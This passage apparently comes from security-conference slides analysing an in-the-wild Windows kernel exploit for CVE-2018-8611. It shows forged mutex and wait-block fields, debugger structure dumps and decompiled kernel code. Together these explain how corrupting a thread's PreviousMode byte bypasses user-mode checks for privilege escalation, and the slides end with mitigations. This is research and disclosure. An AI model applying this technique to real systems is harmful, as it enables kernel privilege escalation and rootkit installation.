mutex->Header.Type = SemaphoreObject; mutex->Header.SignalState = 1; mutex->OwnerThread = Leaked_KTHREAD; mutex->ApcDisable = 0; mutex->MutantListEntry = Fake_LIST; mutex->Header.WaitListHead.Flink = _____ 0: kd> dt nt!_KWAIT_BLOCK +0x000 WaitListEntry : _LIST_ENTRY +0x010 WaitType : UChar +0x011 BlockState : UChar +0x012 WaitKey : Uint2B +0x014 SpareLong : Int4B +0x018 Thread : Ptr64 _KTHREAD +0x018 NotificationQueue : Ptr64 _KQUEUE +0x020 Object : Ptr64 Void +0x028 SparePtr : Ptr64 Void

0: kd> dt nt! KWAIT BLOCK +0x000 WaitListEntry : _LIST_ENTRY +0x010 WaitType : UChar +0x011 BlockState : UChar +0x012 WaitKey : Uint2B +0x014 SpareLong : Int4B +0x018 Thread : Ptr64 _KTHREAD +0x018 NotificationQueue : Ptr64 _KQUEUE : Ptr64 Void +0x020 Object +0x028 SparePtr : Ptr64 Void

waitBlock.WaitType = 3; waitBlock.Thread = Leaked_KTHREAD + 0x1EB;

Add one more thread to WaitList with WaitType = 1

Call to GetThreadContext(...) will make KeWaitForSingleObject continue execution

Fake Semaphore object will be passed to KeReleaseMutex that is a wrapper for KeReleaseMutant

```
_mm_storeu_si128((__m128i *)Size, *(__m128i *)(v10 + 48));
_mm_storeu_si128((__m128i *)&v19, *(__m128i *)(*(_QWORD *)(v10 + 160) + 176i64));
KeReleaseMutex((PRKMUTEX)(v10 + 64), 0);
```

Check for current thread will be bypassed because we were able to leak it

```
v40 = a4
v38 = a2:
U4 = KeGetCurrentThread();
v5 = 0;
v6 = a3:
v7 = a1;
. . .
   ( *((struct _KTHREAD **)v7 + 5) != v4 || *((_BYTE *)v7 + 2) != v10->DpcRoutineActive )
if
  InterlockedAnd(v7, 0xFFFFFF7F);
   writecr8(v8);
  if ( *(( BYTE *) v7 + 48) )
    v23 = 128:
  else
    v23 = -1073741754;
  RtlRaiseStatus(v23);
```

Since WaitType of crafted WaitBlock is equal to three, this WaitBlock will be passed to KiTryUnwaitThread

```
*v20 = v19;
*((_QWORD *)v19 + 1) = v20;
waitType = *((_BYTE *)waitBlock + 16);
if ( waitType == 1 )
{
....
}
else if ( waitType == 2 )
{
....
}
else
{
KiTryUnwaitThread(currentPrcb, waitBlock, 0x100i64, 0i64);
}
```

KiTryUnwaitThread is a big function but the most interesting is located at function end



KTHREAD + 0x22B

0: kd> dt nt!_KTHREAD

....

+0x228 UserAffinity : _GROUP_AFFINITY +0x228 UserAffinityFill : [10] UChar +0x232 PreviousMode : Char +0x233 BasePriority : Char +0x234 PriorityDecrement : Char

PreviousMode

06/16/2017 • 2 minutes to read • Contributors 🐲 🥮

When a user-mode application calls the **Nt** or **Zw** version of a native system services routine, the system call mechanism traps the calling thread to kernel mode. To indicate that the parameter values originated in user mode, the trap handler for the system call sets the **PreviousMode** field in the <u>thread object</u> of the caller to **UserMode**. The native system services routine checks the **PreviousMode** field of the calling thread to determine whether the parameters are from a user-mode source.

signed __int64 __fastcall MiReadWriteVirtualMemory(ULONG_PTR ProcessHandle, unsigned __int64 BaseAddress, un: { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

```
v6 = Buffer;
v7 = BaseAddress;
v8 = ProcessHandle;
currentThread = KeGetCurrentThread();
if ( currentThread->PreviousMode )
{
  if ( BaseAddress + NumberOfBytesToRead < BaseAddress
  || NumberOfBytesToRead + Buffer < Buffer
  || BaseAddress + NumberOfBytesToRead > MmHighestUserAddress
  || NumberOfBytesToRead + Buffer > MmHighestUserAddress )
  {
    return 0xC00000005i64;
  }
```
CVE-2018-8611

With ability to use NtReadVirtualMemory, further elevation of privilege and installation of rootkit is trivial

Abuse of dispatcher objects seems to be a valuable exploitation technique

Possible mitigation improvements:

- Hardening of Kernel Dispatcher Objects
- Validation with secret for PreviousMode

Conclusions

- Huge thanks to Microsoft for handling our findings very fast.
- Zero-days seems to have a long lifespan. Good vulnerabilities survive mitigations.
- Attackers know that if an exploit is found it will be found by a security vendor. There is a shift to implement better AV evasion.
- Two exploits that we found were for the latest builds of Windows 10, but most zero-day that are found are for older versions. It means that effort put into mitigations is working.
- Race condition vulnerabilities are on the rise. Three of the five vulnerabilities that we found are race conditions. Very good fuzzers (reimagination of Bochspwn?) or static analysis? We are going to see more vulnerabilities like this.
- Win32k lockdown and syscall filtering are effective, but attackers switch to exploit bugs in ntoskrnl.
- We revealed a new technique with the use of dispatcher objects and PreviousMode.



Momigari: Overview of the latest Windows OS kernel exploits found in the wild

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Q&A ?

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